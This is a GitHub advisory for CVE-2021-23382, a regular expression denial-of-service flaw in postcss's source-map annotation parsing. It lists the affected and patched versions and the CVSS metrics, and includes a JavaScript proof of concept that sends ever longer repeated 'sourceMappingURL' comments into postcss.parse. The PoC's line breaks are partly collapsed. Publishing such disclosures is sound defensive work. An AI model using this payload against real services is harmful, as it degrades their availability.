Skip to content

Regular Expression Denial of Service in postcss

Moderate severity GitHub Reviewed Published Jan 7, 2022 to the GitHub Advisory Database • Updated Sep 8, 2023

Package

npm postcss (npm)

Affected versions

>= 8.0.0, < 8.2.13
< 7.0.36

Patched versions

8.2.13
7.0.36

Description

The package postcss versions before 7.0.36 or between 8.0.0 and 8.2.13 are vulnerable to Regular Expression Denial of Service (ReDoS) via getAnnotationURL() and loadAnnotation() in lib/previous-map.js. The vulnerable regexes are caused mainly by the sub-pattern

\/\*\s* sourceMappingURL=(.*)

PoC

var postcss = require("postcss")
function build_attack(n) {
    var ret = "a{}"
    for (var i = 0; i < n; i++) {
        ret += "/*# sourceMappingURL="
    }
    return ret + "!";
}
postcss.parse('a{}/*# sourceMappingURL=a.css.map */') for (var i = 1; i <= 500000; i++) {
    if (i % 1000 == 0) {
        var time = Date.now();
        var attack_str = build_attack(i) try {
            postcss.parse(attack_str) var time_cost = Date.now() - time;
            console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
        } catch (e) {
            var time_cost = Date.now() - time;
            console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
        }
    }
}

References

Published by the National Vulnerability Database Apr 26, 2021
Reviewed May 20, 2021
Published to the GitHub Advisory Database Jan 7, 2022
Last updated Sep 8, 2023

Severity

Moderate
5.3
/ 10

CVSS base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Unchanged
Confidentiality
None
Integrity
None
Availability
Low
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L

Weaknesses

CVE ID

CVE-2021-23382

GHSA ID

GHSA-566m-qj78-rww5

Source code

No known source code

Credits

Checking history
See something to contribute? Suggest improvements for this vulnerability.